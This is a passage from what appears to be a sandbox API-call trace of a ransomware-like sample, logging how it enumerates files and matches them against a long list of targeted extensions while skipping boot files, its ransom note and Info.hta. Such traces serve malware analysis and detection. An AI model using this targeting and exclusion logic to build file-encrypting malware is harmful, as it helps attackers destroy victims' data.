returned -1 [0182.698] lstrlenW (lpString=".crt") returned 4 [0182.698] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".crw") returned 4 [0182.698] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".cs") returned 3 [0182.698] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.698] lstrlenW (lpString=".css") returned 4 [0182.698] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".csv") returned 4 [0182.698] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".cub") returned 4 [0182.698] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".dae") returned 4 [0182.698] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".dat") returned 4 [0182.698] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".db") returned 3 [0182.698] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.698] lstrlenW (lpString=".dbf") returned 4 [0182.698] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".dbx") returned 4 [0182.699] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dc3") returned 4 [0182.699] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dcm") returned 4 [0182.699] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dcr") returned 4 [0182.699] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".der") returned 4 [0182.699] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dib") returned 4 [0182.699] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dic") returned 4 [0182.699] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".dif") returned 4 [0182.699] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".divx") returned 5 [0182.699] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.699] lstrlenW (lpString=".djvu") returned 5 [0182.699] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.699] lstrlenW (lpString=".dng") returned 4 [0182.699] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".doc") returned 4 [0182.699] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.699] lstrlenW (lpString=".docm") returned 5 [0182.699] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.699] lstrlenW (lpString=".docx") returned 5 [0182.699] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.699] lstrlenW (lpString=".dot") returned 4 [0182.700] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dotm") returned 5 [0182.700] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.700] lstrlenW (lpString=".dotx") returned 5 [0182.700] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.700] lstrlenW (lpString=".dpx") returned 4 [0182.700] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dqy") returned 4 [0182.700] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dsn") returned 4 [0182.700] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dt") returned 3 [0182.700] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.700] lstrlenW (lpString=".dtd") returned 4 [0182.700] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dwg") returned 4 [0182.700] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dwt") returned 4 [0182.700] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".dx") returned 3 [0182.700] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.700] lstrlenW (lpString=".dxf") returned 4 [0182.700] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.700] lstrlenW (lpString=".edml") returned 5 [0182.700] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.700] lstrlenW (lpString=".efd") returned 4 [0182.700] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".elf") returned 4 [0182.701] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".emf") returned 4 [0182.701] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".emz") returned 4 [0182.701] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".epf") returned 4 [0182.701] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".eps") returned 4 [0182.701] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".epsf") returned 5 [0182.701] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.701] lstrlenW (lpString=".epsp") returned 5 [0182.701] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.701] lstrlenW (lpString=".erf") returned 4 [0182.701] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".exr") returned 4 [0182.701] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".f4v") returned 4 [0182.701] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".fido") returned 5 [0182.701] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.701] lstrlenW (lpString=".flm") returned 4 [0182.701] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".flv") returned 4 [0182.701] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.701] lstrlenW (lpString=".frm") returned 4 [0182.702] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".fxg") returned 4 [0182.702] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".geo") returned 4 [0182.702] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".gif") returned 4 [0182.702] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".grs") returned 4 [0182.702] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".gz") returned 3 [0182.702] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.702] lstrlenW (lpString=".h") returned 2 [0182.702] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.702] lstrlenW (lpString=".hdr") returned 4 [0182.702] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".hpp") returned 4 [0182.702] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".hta") returned 4 [0182.702] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".htc") returned 4 [0182.702] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".htm") returned 4 [0182.702] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.702] lstrlenW (lpString=".html") returned 5 [0182.702] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.702] lstrlenW (lpString="index.html") returned 10 [0182.702] lstrlenW (lpString=".NEWS") returned 5 [0182.702] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0182.702] lstrlenW (lpString="index.html") returned 10 [0182.702] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0182.702] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0182.703] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0182.703] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0182.703] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0182.703] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0182.703] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0182.703] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0182.703] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\index.html") returned 111 [0182.703] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.703] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.703] lstrlenW (lpString=".1cd") returned 4 [0182.703] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.703] lstrlenW (lpString=".3ds") returned 4 [0182.703] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.703] lstrlenW (lpString=".3fr") returned 4 [0182.703] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.703] lstrlenW (lpString=".3g2") returned 4 [0182.703] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.703] lstrlenW (lpString=".3gp") returned 4 [0182.703] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.703] lstrlenW (lpString=".7z") returned 3 [0182.703] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.703] lstrlenW (lpString=".accda") returned 6 [0182.703] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.703] lstrlenW (lpString=".accdb") returned 6 [0182.703] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.703] lstrlenW (lpString=".accdc") returned 6 [0182.703] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.703] lstrlenW (lpString=".accde") returned 6 [0182.703] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.703] lstrlenW (lpString=".accdt") returned 6 [0182.703] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.704] lstrlenW (lpString=".accdw") returned 6 [0182.704] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.704] lstrlenW (lpString=".adb") returned 4 [0182.704] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.704] lstrlenW (lpString=".adp") returned 4 [0182.704] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.704] lstrlenW (lpString=".ai") returned 3 [0182.735] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.735] lstrlenW (lpString=".ai3") returned 4 [0182.735] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ai4") returned 4 [0182.735] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ai5") returned 4 [0182.735] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ai6") returned 4 [0182.735] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ai7") returned 4 [0182.735] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ai8") returned 4 [0182.735] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".anim") returned 5 [0182.735] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.735] lstrlenW (lpString=".arw") returned 4 [0182.735] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".as") returned 3 [0182.735] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.735] lstrlenW (lpString=".asa") returned 4 [0182.735] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".asc") returned 4 [0182.735] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".ascx") returned 5 [0182.735] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.735] lstrlenW (lpString=".asm") returned 4 [0182.735] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".asmx") returned 5 [0182.735] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.735] lstrlenW (lpString=".asp") returned 4 [0182.735] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.735] lstrlenW (lpString=".aspx") returned 5 [0182.736] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.736] lstrlenW (lpString=".asr") returned 4 [0182.736] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".asx") returned 4 [0182.736] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".avi") returned 4 [0182.736] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".avs") returned 4 [0182.736] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".backup") returned 7 [0182.736] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.736] lstrlenW (lpString=".bak") returned 4 [0182.736] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".bay") returned 4 [0182.736] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".bd") returned 3 [0182.736] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.736] lstrlenW (lpString=".bin") returned 4 [0182.736] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".bmp") returned 4 [0182.736] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".bz2") returned 4 [0182.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".c") returned 2 [0182.736] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.736] lstrlenW (lpString=".cdr") returned 4 [0182.736] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".cer") returned 4 [0182.736] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.736] lstrlenW (lpString=".cf") returned 3 [0182.737] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.737] lstrlenW (lpString=".cfc") returned 4 [0182.737] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.737] lstrlenW (lpString=".cfm") returned 4 [0182.737] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.737] lstrlenW (lpString=".cfml") returned 5 [0182.737] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.737] lstrlenW (lpString=".cfu") returned 4 [0182.737] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.737] lstrlenW (lpString=".chm") returned 4 [0182.737] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.737] lstrlenW (lpString=".cin") returned 4 [0182.737] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.737] lstrlenW (lpString=".class") returned 6 [0182.737] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.737] lstrlenW (lpString=".clx") returned 4 [0182.737] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".config") returned 7 [0182.738] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.738] lstrlenW (lpString=".cpp") returned 4 [0182.738] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".cr2") returned 4 [0182.738] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".crt") returned 4 [0182.738] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".crw") returned 4 [0182.738] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".cs") returned 3 [0182.738] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.738] lstrlenW (lpString=".css") returned 4 [0182.738] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".csv") returned 4 [0182.738] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".cub") returned 4 [0182.738] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".dae") returned 4 [0182.738] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".dat") returned 4 [0182.738] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.738] lstrlenW (lpString=".db") returned 3 [0182.738] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.738] lstrlenW (lpString=".dbf") returned 4 [0182.738] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dbx") returned 4 [0182.739] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dc3") returned 4 [0182.739] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dcm") returned 4 [0182.739] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dcr") returned 4 [0182.739] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".der") returned 4 [0182.739] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dib") returned 4 [0182.739] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dic") returned 4 [0182.739] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dif") returned 4 [0182.739] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".divx") returned 5 [0182.739] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".djvu") returned 5 [0182.739] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".dng") returned 4 [0182.739] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".doc") returned 4 [0182.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".docm") returned 5 [0182.739] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".docx") returned 5 [0182.739] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".dot") returned 4 [0182.739] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dotm") returned 5 [0182.739] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".dotx") returned 5 [0182.739] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.739] lstrlenW (lpString=".dpx") returned 4 [0182.739] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.739] lstrlenW (lpString=".dqy") returned 4 [0182.740] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".dsn") returned 4 [0182.740] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".dt") returned 3 [0182.740] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.740] lstrlenW (lpString=".dtd") returned 4 [0182.740] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".dwg") returned 4 [0182.740] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".dwt") returned 4 [0182.740] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".dx") returned 3 [0182.740] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.740] lstrlenW (lpString=".dxf") returned 4 [0182.740] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".edml") returned 5 [0182.740] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.740] lstrlenW (lpString=".efd") returned 4 [0182.740] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".elf") returned 4 [0182.740] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".emf") returned 4 [0182.740] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".emz") returned 4 [0182.740] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.740] lstrlenW (lpString=".epf") returned 4 [0182.741] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".eps") returned 4 [0182.741] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".epsf") returned 5 [0182.741] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.741] lstrlenW (lpString=".epsp") returned 5 [0182.741] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.741] lstrlenW (lpString=".erf") returned 4 [0182.741] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".exr") returned 4 [0182.741] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".f4v") returned 4 [0182.741] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".fido") returned 5 [0182.741] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.741] lstrlenW (lpString=".flm") returned 4 [0182.741] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".flv") returned 4 [0182.741] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".frm") returned 4 [0182.741] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".fxg") returned 4 [0182.741] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".geo") returned 4 [0182.741] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".gif") returned 4 [0182.741] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".grs") returned 4 [0182.741] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.741] lstrlenW (lpString=".gz") returned 3 [0182.741] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.742] lstrlenW (lpString=".h") returned 2 [0182.742] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.742] lstrlenW (lpString=".hdr") returned 4 [0182.742] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".hpp") returned 4 [0182.742] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".hta") returned 4 [0182.742] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".htc") returned 4 [0182.742] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".htm") returned 4 [0182.742] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.742] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0182.742] lstrlenW (lpString=".1cd") returned 4 [0182.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".3ds") returned 4 [0182.742] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.742] lstrlenW (lpString=".3fr") returned 4 [0182.742] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.743] lstrlenW (lpString=".3g2") returned 4 [0182.743] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.743] lstrlenW (lpString=".3gp") returned 4 [0182.743] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.743] lstrlenW (lpString=".7z") returned 3 [0182.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.743] lstrlenW (lpString=".accda") returned 6 [0182.743] lstrcmpiW (lpString1=".accda", lpString2="h2.xml") returned -1 [0182.754] lstrlenW (lpString=".accdb") returned 6 [0182.755] lstrcmpiW (lpString1=".accdb", lpString2="h2.xml") returned -1 [0182.755] lstrlenW (lpString=".accdc") returned 6 [0182.755] lstrcmpiW (lpString1=".accdc", lpString2="h2.xml") returned -1 [0182.755] lstrlenW (lpString=".accde") returned 6 [0182.755] lstrcmpiW (lpString1=".accde", lpString2="h2.xml") returned -1 [0182.755] lstrlenW (lpString=".accdt") returned 6 [0182.755] lstrcmpiW (lpString1=".accdt", lpString2="h2.xml") returned -1 [0182.755] lstrlenW (lpString=".accdw") returned 6 [0182.755] lstrcmpiW (lpString1=".accdw", lpString2="h2.xml") returned -1 [0182.755] lstrlenW (lpString=".adb") returned 4 [0182.755] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".adp") returned 4 [0182.755] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai") returned 3 [0182.755] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.755] lstrlenW (lpString=".ai3") returned 4 [0182.755] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai4") returned 4 [0182.755] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai5") returned 4 [0182.755] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai6") returned 4 [0182.755] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai7") returned 4 [0182.755] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".ai8") returned 4 [0182.755] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.755] lstrlenW (lpString=".anim") returned 5 [0182.755] lstrcmpiW (lpString1=".anim", lpString2="2.xml") returned -1 [0182.756] lstrlenW (lpString=".arw") returned 4 [0182.756] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".as") returned 3 [0182.756] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.756] lstrlenW (lpString=".asa") returned 4 [0182.756] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".asc") returned 4 [0182.756] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".ascx") returned 5 [0182.756] lstrcmpiW (lpString1=".ascx", lpString2="2.xml") returned -1 [0182.756] lstrlenW (lpString=".asm") returned 4 [0182.756] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.756] lstrlenW (lpString=".asmx") returned 5 [0182.756] lstrcmpiW (lpString1=".asmx", lpString2="2.xml") returned -1 [0182.756] lstrlenW (lpString=".asp") returned 4 [0182.756] lstrcmpiW 